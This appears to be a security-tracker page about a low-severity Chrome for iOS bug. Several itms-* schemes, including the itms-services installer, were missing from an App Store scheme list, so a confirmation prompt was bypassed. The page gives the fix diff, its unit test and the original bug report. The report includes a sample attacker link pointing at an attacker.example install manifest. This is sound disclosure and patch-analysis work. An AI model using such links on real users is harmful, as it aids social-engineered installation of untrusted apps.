Low watch CVSS 4.3 chrome Input Validation 📄 Reporter bug report 🔧 Commit mapped

Overview

Low
Severity
4.3
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactImproper input validation in Mobile
DescriptionImproper input validation in Mobile
ComponentMobile
Bug ClassInput Validation
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker533046298
Fix commit653351b609c9 (chromium/src) +40/-1
CWECWE-20 (Improper input validation)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
CISA KEVNot listed
CreditedGoogle
Reported2026-07-09 (per vendor advisory)
Fix landed2026-07-10 (public git)
Disclosed2026-08-25
Patch gap46 days — fix public in source before the advisory

Background

`itms-services://?action=download-manifest`
the iOS over-the-air install scheme, which points at a remote .plist manifest and starts the system flow for installing an enterprise or ad-hoc signed app.
`UrlHasAppStoreScheme`
the Chrome for iOS helper in ios/chrome/browser/shared/model/url/url_util.mm, used in the new unit test, that reports whether a GURL uses one of the known App Store–style schemes; Chrome uses that classification to treat such URLs specially.
Scheme set
a lazily built static NSSet of scheme strings (initialised in a dispatch_once block) that serves as the allow/deny list behind this classification.

Root Cause Analysis

The patched hunk sits inside a dispatch_once block in ios/chrome/browser/shared/model/url/url_util.mm that builds and returns a static set of iTunes/App Store schemes; the enclosing function’s name is not visible in the hunk.

Before the fix the set ended at @"itms-books", @"itms-bookss", so several schemes iOS also routes to Apple store, install, or beta apps (itms-services, itms-beta, itms-betas, itms-watch, itms-watchs, itms-podcasts, itms-podcastss) were not recognised. The existing source comment (“over-inclusion costs less than under-inclusion”) shows that membership in this set triggers protective handling, so under-inclusion is the failure mode: URLs with the missing schemes were not classified as App Store URLs and skipped whatever special handling Chrome for iOS applies to that class.

The fix widens the detection list so that UrlHasAppStoreScheme returns true for these schemes, as the new UrlHasAppStoreScheme test asserts. The test also checks that https, http, and a look-alike not-itms scheme are still not matched. The diff does not show the callers of UrlHasAppStoreScheme or exactly what handling they apply.

Key insight
Classifying dangerous external schemes with a hard-coded list failed open, because any itms-* variant not on the list was treated as an ordinary URL. The fix adds the missing variants, including the over-the-air installer scheme itms-services, to the list.

Attack Path

  1. Victim on Chrome for iOS The bug is iOS-only (the change is limited to ios/chrome/...), and the user must visit or be sent to attacker-controlled web content.
  2. Page navigates to an unlisted scheme The page triggers a navigation or link to a URL such as itms-services://?action=download-manifest&url=... or an itms-beta:// TestFlight link, schemes that pre-patch were missing from the set.
  3. Classification check misses UrlHasAppStoreScheme returned false for these URLs, so Chrome did not apply its App Store–scheme handling to them (the specific handling, such as a prompt or block, is (inferred) because callers are not in the diff).
  4. Hand-off to the iOS system app The URL could be passed to iOS with fewer safeguards than intended, for example starting the enterprise app-install or TestFlight flow from a web page (inferred); iOS still shows its own system confirmations for installation.

Impact Assessment

A malicious web page could cause Chrome for iOS to treat App Store, installer, TestFlight, Watch, or Podcasts itms-* links as ordinary external URLs and so bypass the special handling Chrome reserves for App Store schemes. The most serious case is itms-services, which could help social-engineer installation of an enterprise or ad-hoc signed app (inferred), though iOS-level prompts and profile trust still apply. The vendor advisory rates this low severity and does not report in-the-wild exploitation; NVD scores it CVSS 4.3. The advisory states only “Improper input validation in Mobile”, with no severity or in-the-wild status given.

Changed Functions

FunctionChangeNotes
TEST_F
ios/chrome/browser/shared/model/url/url_util_unittest.mm
modified

Files Changed

  • ios/chrome/browser/shared/model/url/url_util.mm
  • ios/chrome/browser/shared/model/url/url_util_unittest.mm

Audit Directions

  • Hard-coded external-scheme lists
    Review other iOS and Android scheme lists (external-app launching, download handling, “open in app” prompts) for vendor scheme families with s-suffixed or product-specific variants that the list misses; prefer prefix- or family-based matching where the platform allows it.
  • Fail-open classification
    Find places where a URL that is not on a list is treated as safe by default, and check whether unknown custom schemes should instead get the stricter path (a prompt or block).
  • Installer and side-load schemes
    Check that schemes which start system installation or configuration flows (itms-services, profile or MDM installers, TestFlight) always need explicit user confirmation in Chrome before they are handed to the OS.
From 653351b609c94f29f39dd9e1e05c1b09d7c8fcdd Mon Sep 17 00:00:00 2001
From: Olivier Robin <olivierrobin@google.com>
Date: Fri, 10 Jul 2026 08:59:09 -0700
Subject: [PATCH] Update itms schemes

Add more schemes to detect itunes URLs.

Fixed: 533046298
Change-Id: I265601aec99a82736f96a422298f864c7ecec41b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8065232
Auto-Submit: Olivier Robin <olivierrobin@chromium.org>
Reviewed-by: Quentin Pubert <qpubert@google.com>
Reviewed-by: Gauthier Ambard <gambard@chromium.org>
Commit-Queue: Quentin Pubert <qpubert@google.com>
Cr-Commit-Position: refs/heads/main@{#1660315}
---
diff --git a/ios/chrome/browser/shared/model/url/url_util.mm b/ios/chrome/browser/shared/model/url/url_util.mm
index 7d7c4f08..fa16702 100644
--- a/ios/chrome/browser/shared/model/url/url_util.mm
+++ b/ios/chrome/browser/shared/model/url/url_util.mm
@@ -124,7 +124,10 @@
                        // There's no evidence that itms-bookss is actually
                        // supported, but over-inclusion costs less than
                        // under-inclusion.
-                       @"itms-books", @"itms-bookss", nil];
+                       @"itms-books", @"itms-bookss", @"itms-services",
+                       @"itms-beta", @"itms-betas", @"itms-watch",
+                       @"itms-watchs", @"itms-podcasts", @"itms-podcastss",
+                       nil];
   });
   return schemes;
 }
diff --git a/ios/chrome/browser/shared/model/url/url_util_unittest.mm b/ios/chrome/browser/shared/model/url/url_util_unittest.mm
index 4fdad2b..0f77d9b7 100644
--- a/ios/chrome/browser/shared/model/url/url_util_unittest.mm
+++ b/ios/chrome/browser/shared/model/url/url_util_unittest.mm
@@ -89,4 +89,40 @@
   EXPECT_TRUE([schemes containsObject:unittestScheme]);
 }
 
+TEST_F(ChromeURLUtilTest, UrlHasAppStoreScheme) {
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itmss://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-apps://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-appss://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-books://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-bookss://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-services://?action=download-manifest&url=https://example.com/"
+           "app.plist")));
+  EXPECT_TRUE(
+      UrlHasAppStoreScheme(GURL("itms-beta://testflight.apple.com/join/123")));
+  EXPECT_TRUE(
+      UrlHasAppStoreScheme(GURL("itms-betas://testflight.apple.com/join/123")));
+  EXPECT_TRUE(
+      UrlHasAppStoreScheme(GURL("itms-watch://testflight.apple.com/join/123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-watchs://testflight.apple.com/join/123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-podcasts://testflight.apple.com/join/123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-podcastss://testflight.apple.com/join/123")));
+
+  EXPECT_FALSE(UrlHasAppStoreScheme(
+      GURL("https://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_FALSE(UrlHasAppStoreScheme(
+      GURL("http://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_FALSE(UrlHasAppStoreScheme(GURL("not-itms://foo")));
+}
+
 }  // namespace
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/ios/chrome/browser/shared/model/url/url_util_unittest.mm b/ios/chrome/browser/shared/model/url/url_util_unittest.mm
index 4fdad2b..0f77d9b7 100644
--- a/ios/chrome/browser/shared/model/url/url_util_unittest.mm
+++ b/ios/chrome/browser/shared/model/url/url_util_unittest.mm
@@ -89,4 +89,40 @@
   EXPECT_TRUE([schemes containsObject:unittestScheme]);
 }
 
+TEST_F(ChromeURLUtilTest, UrlHasAppStoreScheme) {
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itmss://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-apps://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-appss://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-books://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-bookss://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-services://?action=download-manifest&url=https://example.com/"
+           "app.plist")));
+  EXPECT_TRUE(
+      UrlHasAppStoreScheme(GURL("itms-beta://testflight.apple.com/join/123")));
+  EXPECT_TRUE(
+      UrlHasAppStoreScheme(GURL("itms-betas://testflight.apple.com/join/123")));
+  EXPECT_TRUE(
+      UrlHasAppStoreScheme(GURL("itms-watch://testflight.apple.com/join/123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-watchs://testflight.apple.com/join/123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-podcasts://testflight.apple.com/join/123")));
+  EXPECT_TRUE(UrlHasAppStoreScheme(
+      GURL("itms-podcastss://testflight.apple.com/join/123")));
+
+  EXPECT_FALSE(UrlHasAppStoreScheme(
+      GURL("https://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_FALSE(UrlHasAppStoreScheme(
+      GURL("http://itunes.apple.com/us/app/appname/id123")));
+  EXPECT_FALSE(UrlHasAppStoreScheme(GURL("not-itms://foo")));
+}
+
 }  // namespace
Loading diff…

Original Bug Report

reported by vm...@google.com

Potential bypass of app-launch confirmation for iOS app-install/TestFlight schemes

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: Chrome for iOS’s AppLauncherTabHelper can potentially fail to show a confirmation dialog when a user taps on link URLs using specific App-Store-related schemes such as itms-services or itms-beta. Because these schemes are omitted from the browser’s App Store scheme list, Chrome bypasses the confirmation overlay and directly hands the request to the iOS system. This allows an attacker to trigger native OS enterprise installation or TestFlight prompts without Chrome’s warning overlay.

Affected files:

  • ios/chrome/browser/shared/model/url/url_util.mm
  • ios/chrome/browser/app_launcher/model/app_launcher_tab_helper.mm

Estimated timestamp from git blame: 2017-05-17

Potential iOS App-Launch Confirmation Bypass for itms-services and itms-beta Schemes

Summary

Chrome’s external application launcher on iOS (AppLauncherTabHelper) requires a Chrome-side confirmation prompt before opening native App Store links to prevent unauthorized app installations or user-workflow disruption. However, the allowlist of App Store-family schemes in GetItmsSchemes() is incomplete. It omits several sibling schemes registerable by iOS system apps, including itms-services (used for OTA enterprise IPA installations) and itms-beta/itms-betas (used for TestFlight pre-release invites). When a user taps a link with these schemes, Chrome potentially bypasses its internal confirmation overlay and immediately forwards the launch request to iOS, triggering native system sheets directly.

Root Cause Analysis

In ios/chrome/browser/app_launcher/model/app_launcher_tab_helper.mm (lines 164-167), Chrome evaluates whether to show a confirmation overlay before launching an external application:

// Show the a dialog for app store launches and external URL navigations that
// did not originate from a link tap.
if (UrlHasAppStoreScheme(url) || !link_transition) {
  ShowAppLaunchAlert(AppLauncherAlertCause::kOther, url);
  return;
}

If the target URL has an App Store scheme (e.g., itms-apps://), Chrome always intercepts the navigation with a warning overlay, even if it originated from a genuine link tap (link_transition == true).

However, the scheme check in ios/chrome/browser/shared/model/url/url_util.mm (lines 118-130) is restricted to a hardcoded set:

NSSet<NSString*>* GetItmsSchemes() {
  static NSSet<NSString*>* schemes;
  static dispatch_once_t once;
  dispatch_once(&once, ^{
    schemes = [NSSet<NSString*>
        setWithObjects:@"itms", @"itmss", @"itms-apps", @"itms-appss",
                       // There's no evidence that itms-bookss is actually
                       // supported, but over-inclusion costs less than
                       // under-inclusion.
                       @"itms-books", @"itms-bookss", nil];
  });
  return schemes;
}

Because this set lacks schemes like itms-services and itms-beta, UrlHasAppStoreScheme evaluates to false for them. If a user taps on such a link, the check (UrlHasAppStoreScheme(url) || !link_transition) is bypassed (evaluates to false), allowing Chrome to skip the warning overlay and directly delegate the app-opening process to iOS via [[UIApplication sharedApplication] openURL:...].

Potential Exploit / Trigger Steps

Please note: Since our tooling does not currently support code execution or live device testing, these steps represent a potential/theoretical sequence based on static analysis of the codebase.

  1. An attacker serves a web page containing a link targeted at an enterprise application installer:
    <a href="itms-services://?action=download-manifest&url=https://attacker.example/app.plist">Click here to proceed</a>
  2. The user taps this link inside Chrome for iOS.
  3. Chrome’s policy decider Cancels the normal web navigation and schedules an external application launch request.
  4. AppLauncherTabHelper evaluates the URL and skips the confirmation overlay because the scheme is omitted from GetItmsSchemes().
  5. Chrome immediately initiates the launch via openURL:.
  6. The iOS operating system handles the request, immediately surfacing its native system enterprise-install prompt over Chrome’s browser interface while the Omnibox still displays the attacker page’s origin.

Security Impact

This is a low-severity policy bypass and origin-attribution/phishing-class issue. It allows malicious web content to trigger OS-level installation or beta-testing prompts on a single tap without Chrome’s security-warning dialog. While iOS still presents its native system confirmation sheet before any application is installed (capping the direct risk of malware installation), this bug removes one of the two intended warning layers and allows the attacker to frame the OS install dialog under their origin context.

Suggested Fix

Update GetItmsSchemes() in ios/chrome/browser/shared/model/url/url_util.mm to include the missing App Store-related system installer and service schemes:

NSSet<NSString*>* GetItmsSchemes() {
  static NSSet<NSString*>* schemes;
  static dispatch_once_t once;
  dispatch_once(&once, ^{
    schemes = [NSSet<NSString*>
        setWithObjects:@"itms", @"itmss", @"itms-apps", @"itms-appss",
                       @"itms-books", @"itms-bookss",
                       @"itms-services", @"itms-beta", @"itms-betas",
                       @"itms-watch", @"itms-watchs",
                       @"itms-podcasts", @"itms-podcastss", nil];
  });
  return schemes;
}

Evaluated with Chrome root at commit: 84065d9121f6e48f67755f0ae963cc09617e5c85


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker